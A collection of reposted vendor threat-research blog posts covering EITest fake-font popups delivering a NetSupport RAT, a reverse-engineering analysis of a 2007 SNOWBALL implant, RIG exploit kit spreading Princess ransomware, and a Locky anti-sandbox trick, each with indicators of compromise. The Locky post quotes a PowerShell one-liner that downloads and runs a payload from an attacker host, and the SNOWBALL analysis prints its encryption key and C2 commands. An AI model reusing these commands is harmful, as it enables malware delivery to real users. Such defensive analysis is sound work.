Network traffic follows two distinct paths. Victims who use Microsoft Internet Explorer as their web browser will get a fake anti-virus alert with a phone number for a tech support scam. Victims using Google Chrome as their browser will get a fake HoeflerText popup as seen in Figure 1 that offers malware disguised as Font_Chrome.exe. Figure 4 shows the chain of events for current activity from the EITest campaign.


Figure 4: Chain of events for activity from the EITest campaign.

Current samples of Font_Chrome.exe are file downloaders. They retrieve follow-up malware that installs a NetSupport Manager remote access tool (RAT).  NetSupport Manager is a commercially-available RAT previously associated with a malware campaign from hacked Steam accounts last year. For the August 2017 HoeflerText popups, we have found two examples of the file downloader and two examples of follow-up malware to install NetSupport Manager RAT.


Figure 5: Traffic from a recent infection filtered in Wireshark.


Figure 6: The downloaded fake Chrome font program.


Figure 7: Double-clicking Font_Chrome.exe downloads and executes more malware.


Figure 8: Follow-up malware installs NetSupport Manger RAT on the infected Windows host.


Figure 9: RAT configuration settings from an infected Windows host.

NetSupport Manager is currently at version 12.5.  The version seen on the infected host was version 11.00.


Users should be aware of this ongoing threat. Be suspicious of popup messages in Google Chrome that state: The “HoeflerText” font wasn’t found. Since this is a RAT, infected users will probably not notice any change in their day-to-day computer use. If the NetSupport Manager RAT is found on your Windows host, it is probably related to a malware infection.

It’s yet to be determined why EITest HoeflerText popups changed from pushing ransomware to pushing a RAT. Ransomware is still a serious threat, and it remains the largest category of malware we see on a daily basis from mass-distribution campaigns. However, we have also noticed an increasing amount of other forms of malware in recent campaigns, especially compared to 2016. RATs give attackers more capabilities on a host and are generally much more flexible than malware designed for a single purpose. The August 2017 change by EITest HoeflerText popups represents a subtle shift where ransomware is slightly less prominent than it once was.

See the section below for file names, locations, hashes, and other related information on today’s infection. Palo Alto Networks customers are protected from this threat through our next-generation security platform. Current samples appear as malware in AutoFocus, and customers can search for similar malware using the NetSupportManager tag.

We will continue to investigate this activity for applicable indicators, inform the community, and further enhance our threat prevention platform.

Indicators of Compromise

  • URLs and domains to block:
  • hxxp://[.]pl/book1.php
  • boss777[.]ga
  • pudgenormpers[.]com
  • invoktojenorm[.]com
  • hxxp://94.242.198[.]167/fakeurl.htm
  • hxxp://94.242.198[.]168/fakeurl.htm

First file downloader and follow-up malware:

Second file downloader and follow-up malware:

Associated URLs:

  • 46.248.168[.]49 port 80 –[.]pl – GET /book1.php
  • 51.15.9[.]99 port 80 – boss777[.]ga – GET /HELLO.exe
  • 51.15.9[.]99 port 80 – boss777[.]ga – GET /joined1.exe
  • 51.15.9[.]99 port 80 – boss777[.]ga – POST /JS/testpost.php
  • DNS query for pudgenormpers[.]com, resolved to 94.242.198[.]167
  • DNS query for invoktojenorm[.]com, resolved to 94.242.198[.]168
  • 94.242.198[.]167 port 1488 – POST hxxp://94.242.198[.]167/fakeurl.htm
  • 94.242.198[.]168 port 1488 – POST hxxp://94.242.198[.]167/fakeurl.htm

Directories seen so far for NetSupport Manager RAT on an infected host:

  • C:Users[username]AppDataRoamingAppleDesk1
  • C:Users[username]AppDataRoamingAppleDesk2

The post EITest: HoeflerText Popups Targeting Google Chrome Users Now Push RAT Malware appeared first on Palo Alto Networks Blog.

Go to Source
Author: Brad Duncan

Analysing a 10-Year-Old SNOWBALL

Much has been written about the malware toolkit dubbed Animal Farm which is made up of several implants known as Babar, Bunny, NBot, Dino, Casper and Tafacalou.  Some of these tools have been used in past attacks against organizations, companies and individuals.

One of the first tools believed to be used by this adversary to target a potential victim is Babar, also known as SNOWBALL.  Previous samples of SNOWBALL date back to 2011. However, Palo Alto Networks Unit 42 has identified a much older version. This version of the malware dates back to 2007 according to its compilation time stamp which we believe is valid.

We discovered this sample by coincidence while searching for another unrelated malware in a large malware repository. While looking at the strings and the structure, we could make a connection to previously published documents and decided to do a deeper analysis.

Why analyse malware from the past?

Analysing historical malware samples helps us learn about its set of features and technical capabilities. This helps us compare a tool used by one adversary to that used by similarly adversaries at that time.

This earlier sample of Babar uses many features not present in later versions. The sample also uses a compromised third party website as a C2 server like later versions. We also found a simple bug and a design flaw in the code you wouldn’t expect from malware developed by mature actors.

Detailed technical breakdown

The Loader

The PE sample comes in form of a loader which has a compilation time stamp of 11/09/2007 11:37:36 PM. The loader contains a resource named MYRES (Figure 1) where the payload DLL is stored.


Figure 1. PE resource named MYRES with main payload DLL

The version info resource language ID is 1036 which stands for French.

The following clear text strings can be found in the loader:

SOFTWAREMicrosoftWindowsCurrentVersionApp Paths
SoftwareMicrosoftWindowsCurrentVersionExplorerShell Folders
SoftwareClassesLocal SettingsSoftwareMicrosoftWindowsShellMuiCache
Internet Exploreriexplore.exe -embedding

At the beginning, it changes the error mode of the process to handle the following errors:


For this, it sets up an exception handler with the address to ExitProcess(). Thus, if any of the errors occur the malware just exits.

Next, it tries to gain debug privileges and checks if the major OS version is >= Windows Vista and the platform ID is VER_PLATFORM_WIN32_NT. If so, if tries to create a file named event.log in the %ALLUSERSPROFILE% folder. However, the authors forget to append the character “” before appending the hardcoded string “event.log”. This results in the creation of the following file:


If the call to CreateFile() fails, it tries to delete this file.

Next, it tries to get the local AppData folder path first by querying the %APPDATA% environment variable and if that fails, it looks in the shell folders in the registry. This data is then used to create the following file paths with the hardcoded file names:


The malware also tries to delete any traces it was executed by deleting the corresponding entries in the following registry keys:

HKEY_CURRENT_USERSoftwareClassesLocal SettingsSoftwareMicrosoftWindowsShellMuiCache

After this, the malware checks if its main module is already present on a victim’s system by trying to open the file:


If the file is present, the malware checks if the module file name of the process is as follows and exits otherwise:


If it matches the malware creates a temporary file in the local user’s temp folder and copies the resource named MYRES into it. This file is the payload DLL which then gets moved as wmimgnt.dll to the AppData folder. The file attributes are changed to hidden and the file time is changed to make it look like an old file. The same procedure is done with the initial file which gets copied as wmimngt.exe into the AppData folder.

Thereafter, the malware checks again the major OS version and platform ID like previously and opens the following registry key to get the default internet browser:


The malware authors assumed the browser string always ends with a “.exe” extension and calculate the string in the following manner:

RegOpenKeyExA(HKEY_CURRENT_USER, "SOFTWARE\Clients\StartMenuInternet", 0, 1u, &phkResult);
RegQueryValueExA(phkResult, 0, 0, &Type, Data, &cbData);
v3 = strstr((const char *)Data, ".exe");
v4 = &v3[-v1] - (char *)Data + 4;
memcpy(a1, &Data[v1], v4);

The calculation of the string length in v4 only works if the default browser is for example Internet Explorer or Firefox, as these browsers have an .exe extension in the registry key:


While a browser like Chrome uses the following string:

Google Chrome

In this case, the string length gets wrongly calculated and the subsequent call to memcpy() fails with an error so the exception handler kicks in to terminate the process. However, as Chrome was first released in 2008 and the malware was coded earlier, this can’t be considered as a bug.

After retrieving the string of the default browser from registry, it builds the following string to get the application path of it:

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionApp Paths

If this was successful it searches for the string “iexplore.exe” in the path and appends the string ” -embedding” to it. If it failed, the malware retrieves the ProgramFiles path via the environment variable “%ProgramFiles%” and appends the string “Internet Exploreriexplore.exe -embedding”.

The command line argument “-embedding” does the following according to Microsoft:

Starts Windows Internet Explorer through OLE embedding (such as the WebBrowser Control).

At last, it creates a suspended process of Internet Explorer and injects the payload DLL via the infamous CreateRemoteThread() method.

The Payload DLL

This sample has a compilation time stamp of 11/09/2007 11:37:46 PM (10 seconds after the loader.) It contains an encrypted resource named XML which contains configuration data. The encryption algorithm RC4 is used with the key +37:*$pK#s. Both the version info and the XML resource language IDs have again the value 1036 (French.)

Decrypted configuration data:
Windows Management Infrastructure (WMI)

As can be seen, a third-party website was compromised as C2 server to host a script named outbase.php. The domain ( is the official site of the Ministry of Finance of the Democratic Republic of the Congo. The script is not online anymore as the attack was most likely carried many years ago.

The following clear text strings can be found in the DLL:

[+] Timeout set successfully
[-] Timeout error
[+] Timeout_main set successfully
[-] Timeout_main error
[+] Timeout_safe set successfully
[-] Timeout_safe error
! EXECUTION TIME LIMIT EXCEEDED ! You maybe have to kill the process "%s" you launched (Use listprocess and killprocess...)
cmd.exe /C %s /c %s
[-] Unable to go to this unit
[-] Cannot reboot
[-] Cannot shutdown
[-] Download error
[%s] > 500 Ko  =>  use "big"
[-] Download error
[-] fetch error
[-] fetch error
[+] fetch seems to be OK
[-] fetch error
[+] Uninstalled
[-] Uninstall failed
[+] wput Ok
[-] wput error
[+] wget Ok
[-] wget error
[+] movetosite "%s" Ok
[-] movetosite failed
[+] change main site url Ok
[-] change main site url failed
[+] change safe site url Ok
[-] change safe site url failed
Big in progress... Please wait before downloading the file.
[+] Big finished. You can now download the file
[-] big error
[-] Can't list partitions
%12s      %s     %s
          PROCESS NAME    PID
%22s   %4d
[-] Unable to kill the process "%s" with the PID %d
[-] Unable to kill the process "%s" with the PID %d
[+] The process "%s" with the PID %d has been killed
[-] The process with the PID %d was not found
[-] killprocess error
[+] Url: http://%s%s
[+] Port: %d
[+] Timeout: %d-%d
[Main Site]
[+] Url: http://%s%s
[+] Port: %d
[+] Timeout: %d-%d
[Safe Site]
[+] Url: http://%s%s
[+] Port: %d
[+] Timeout: %d-%d
bad allocation
SoftwareMicrosoftWindowsCurrentVersionExplorerShell Folders
%02d%02d%04d %02d:%02d:%02d
del /F /A "%s"
if EXIST "%s" GOTO strt
del /F /A "%s"
del /F /A %0
bad allocation
Default User ID
Control PanelInternational
User Agent
SoftwareMicrosoftWindowsCurrentVersionInternet Settings
Volatile Environment
Volatile Environment
Login (owner): %s (%s)
Computer name: %s
Organization (country): %s (%s)
OS version (SP): %s (%s)
Default browser: %s
IE version: %s
Timeout: %d(min)
First launch: %s
Last launch : %02d%02d%04d %02d:%02d:%02d
bad allocation
bad allocation
after init
Before transform
After transform
bits: %d %d
buf: %x %x %x %x
bad allocation
Content-Type: application/x-www-form-urlencoded
bad allocation
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)

Windows Management Infrastructure (WMI)

The sample only executes if the reason code why the DLL entry-point function was being called is DLL_PROCESS_ATTACH.

At first, the malware decrypts the XML configuration data to memory, searches for the XML tags  and <CONFIG_KEY> and extracts their content. With this data, it checks if the malware’s persistency is already present in the registry Run key and creates it if it’s not the case:

HKEY_LOCAL_MACHINESOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRunValue: Windows Management Infrastructure (WMI)
Value key: C:Users\AppDataRoamingMicrosoftwmimgnt.exe

Thereafter, it decrypts the data of the following XML tags and stores them in memory:


The implementation of this part of the code is somewhat flawed, since the malware contains the encrypted configuration data, but the same data (except for the C2 domain) is also present as clear text strings. If the decryption didn’t work it uses the clear text strings.


Figure 2. Clear text configuration data

It also creates the following new XML tags based on the old ones:


All the XML tags are then RC4 encrypted with key +37:*$pK#s and stored in the following registry key:

Value: msupdate32

Then, it tries to get system information from the following registry keys:

Value: Default User ID
HKEY_CURRENT_USERControl PanelInternational
Value: sCountry
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings
Value: User Agent
Value: RegisteredOrganization
Value: RegisteredOwner
Value: CSDVersion
Value: CurrentVersion
Value: DefaultUserName
HKEY_CURRENT_USERVolatile Environment
Value: DefaultDomainName

The malware also retrieves the current system time, encrypts it with RC4 and the same key and stores it in the following registry key:

Value: MSFirstUpdate
Value key:

Then, it creates a string with the previously retrieved system information, the configuration data and the following string template:

Login (owner): %s (%s)
Computer name: %s
Organization (country): %s (%s)
OS version (SP): %s (%s)
Default browser: %s
IE version: %s
Timeout: %d(min) %d(max)
First launch: %s
Last launch : %02d%02d%04d %02d:%02d:%02d

Next, the MD5 hash of this string is calculated and encrypted with RC4 and the same key again. This encrypted string gets then stored in the following registry key:

Value: MSID
Value key:

To send victim information to the C2 server, it prepares a URL query string by entering the “INFO” branch. The other query branch named “CMD” is entered to send back the result of a command sent by the C2 server.


Figure 3. URL query string creation branches

At first, the checks if the <ENCODE> XML tag is set to 0x1 and if so it encrypts the previously created string with the victim’s information with the password contained in the <PASSWORD> XML tag. It does this by bytewise adding 0x80 to the password string and then using an encoded byte to bytewise XOR the information string. The encrypted string gets then Base64 encoded and the characters “+”, “/” and “=” URL encoded (“%2B”, “%2F”, “%3D”). The following string template is then used together with the encrypted data to form the final URL query string:


The first string is the previously calculated MD5 hash, the decimal number is made of a random number between 3000/3600 ( XML tag) and 4000/4800 ( XML tag). The last string is made of the hardcoded “INFO” string along with the Base64 encoded victim data. For example:


To test if the computer is connected to the internet it uses InternetGetConnectedState() API function. Next, it enters either the “main” or the “safe” branch referring to the XML tags. The main branch is the usual execution path, while the safe branch only gets used for a specific malware command. If there is no internet connection it sleeps for a certain time, otherwise it contacts the C2 server present in the  XML tag together with the URL query string. The malware has the ability to send data with both HTTP request methods, GET and POST. However, this sample only uses the POST request method along with the following content type field:

Content-Type: application/x-www-form-urlencoded

After contacting the C2 server, the malware copies the response into memory and scans for the marker =#-+ApAcHe_ToMcAt+-#= taken from the XML tag. If successful, the response gets Base64 decoded and decrypted with the same algorithm used to encrypt the victim information string. The PHP script outbase.php can respond with one of the commands listed below, which the malware then executes.

To process some commands, the malware creates an anonymous pipe and a hidden instance of cmd.exe or, depending on the platform ID. The command line output gets redirected to the pipe, read into memory and later send back encrypted and encoded via the “CMD” URL query branch.

Possible malware commands:

1. pwd
Get current working directory

2. cd
change directory to delivered string

3. part
Get list and type of partitions

4. reboot
Reboot system

5. shutdown
Shutdown system

6. download
Download file < 512,000 bytes delivered in form of a URL (“500 Ko”) to disk

7. big
Download file > 512,000 bytes delivered in form of a URL (“500 Ko”) to disk

8. wget
Download file with predefined HTTP query string

9. fetch
Download file via URLDownloadToFile()

10. wput
Download data from internet via downloadcommand and sent data back via “data=” query

11. info
Send back victim system information (see above)

12. showconfig
Send back current config data with following string template:

[+] Url: http://%s%s
[+] Port: %d
[+] Timeout: %d-%d

[Main Site]
[+] Url: http://%s%s
[+] Port: %d
[+] Timeout: %d-%d

[Safe Site]
[+] Url: http://%s%s
[+] Port: %d
[+] Timeout: %d-%d

13. timeout
Change current timeout interval variables

14. timeout_main
Change timeout intervals in main XML configuration

15. timeout_safe
Change timeout intervals in safe XML configuration

16. newurl_main
Change host URL in main XML configuration

17. newurl_safe
Change host URL in safe XML configuration

18. movetosite
Change current host URL variable

19. listprocess
Get list of current processes with PID

20. killprocess
Terminate process delivered via string

21. kitkit
Terminate itself

22. uninstall
Delete malware files on disk and registry entries


This malware has a small set of features ranging from retrieving system information, to downloading files or killing processes on a victim’s system. Technically, it is not outstanding and can be considered only average compared to alleged state sponsored malware written at that time (e.g. Careto or Regin). The code and structure is similar to the Casper implant which is most likely based on this implant. The malware contains an obvious design flaw leaving the main part of the configuration data visible in clear text.

  • AutoFocus customers can identify this, and other samples related to it using the Snowball
  • WildFire and Traps properly classify Snowball samples as malicious.

Thanks to Esmid Idrizovic for his assistance in this analysis.

Indicators of Compromise:

Hashes (SHA-256)

Loader: c71b1a31bdf3a08fa99ed1f6a1c5ded61e66f3d41e4ed88a12430d1c14ed10ca
Payload DLL: a9220590d3c35fe22df9d38a066ca8d112b83764b39fea98b38761daa64c77b8

The post Analysing a 10-Year-Old SNOWBALL appeared first on Palo Alto Networks Blog.

Go to Source
Author: Dominik Reichel

RIG exploit kit distributes Princess Ransomware

We have identified a new drive-by download campaign that distributes the Princess Ransomware, leveraging compromised websites and the RIG exploit kit. This is somewhat of a change for those tracking malvertising campaigns and their payloads.

We had analyzed the Princess Ransomware last November and pointed out that despite similarities with Cerber’s onion page, the actual code was much different. A new payment page seemed to have been seen in underground forums and is now being used with attacks in the wild.

From hacked site to RIG EK

We are not so accustomed to witnessing compromised websites pushing exploit kits these days. Indeed, some campaigns have been replaced with tech support scams instead and overall most drive-by activity comes from legitimate publishers and malvertising.

Yet, here we observed an iframe injection which redirected from the hacked site to a temporary gate distinct from the well-known “Seamless gate” which has been dropping copious amounts of the Ramnit Trojan.

The ultimate call to the RIG exploit kit landing page is done via a standard 302 redirect leading to one of several Internet Explorer (CVE-2013-2551CVE-2014-6332, CVE-2015-2419, CVE-2016-0189) or Flash Player (CVE-2015-8651) vulnerabilities.

Princess Ransomware

Once the exploitation phase is successful, RIG downloads and runs the Princess Ransomware. The infected user will notice that their files are encrypted and display a new extension. The ransom note is called _USE_TO_REPAIR_[a-zA-Z0-9].html where [a-zA-Z0-9] is a random identifier.

The payment page can be accessed via several provided links including a ‘.onion‘ one. Attackers are asking for 0.0770 BTC, which is about $367 at the time of writing.

Down but still kicking

The exploit kit landscape is not what it was a year ago, but we may be remiss to disregard drive-by download attacks completely. Malvertising is still thriving and we are noticing increased activity and changes with existing threat actors and newcomers.

We will update this post with additional information about Princess Locker if there is anything noteworthy to add.

Indicators of compromise

RIG EK gate:

RIG EK IP address:

Princess Ransomware binary:


Princess Ransomware payment page:


The post RIG exploit kit distributes Princess Ransomware appeared first on Malwarebytes Labs.

Go to Source
Author: Jérôme Segura

Locky ransomware adds anti sandbox feature

By Marcelo Rivero and Jérôme Segura

The Locky ransomware has been very active since its return which we documented in a previous blog post. There are several different Locky campaigns going on at the same time, the largest being the one from affiliate ID 3 which comes with malicious ZIP containing .VBS or .JS attachments.

Malwarebytes researcher Marcelo Rivero discovered a trick[1] employed by Locky’s affiliate ID 5 to bypass automated analysis done via sandboxes.

Malware authors have used booby trapped Office documents containing macros to retrieve their payloads for some time, but ordinarily the code executes as soon as the user clicks the ‘Enable Content’ button. For analysis purposes, many sandboxes lower the security settings of various applications and enable macros by default, which allows for the automated capture of the malicious payload.

Strikes when you least expect it

However, this particular Locky campaign no longer simply triggers by running the macro itself, but waits until the fake Word document is closed by the user before it starts to invoke a set of commands.

“C:WindowsSystem32WindowsPowerShellv1.0powershell.exe” -nop -Exec Bypass -Command (New-Object System.Net.WebClient).DownloadFile(‘http://newhostrcm[.]top/admin.php?f=1’, $env:APPDATA + ‘sATTfJY.exe’); Start-Process $env:APPDATA’sATTfJY.exe’;

The payload is downloaded and launched from the %appdata% folder followed by the typical ransom note:


While not a sophisticated technique, it nonetheless illustrates the constant cat and mouse battle between attackers and defenders. We ascertain that in their current form, the malicious documents are likely to exhibit a harmless behavior in many sandboxes while still infecting end users that would logically close the file when they realize there is nothing to be seen.

Malwarebytes blocks this attack at several different layers and is not impacted by this ‘closing the document’ trick.

Indicators of compromise:

Word document:






The post Locky ransomware adds anti sandbox feature appeared first on Malwarebytes Labs.

Go to Source
Author: Malwarebytes Labs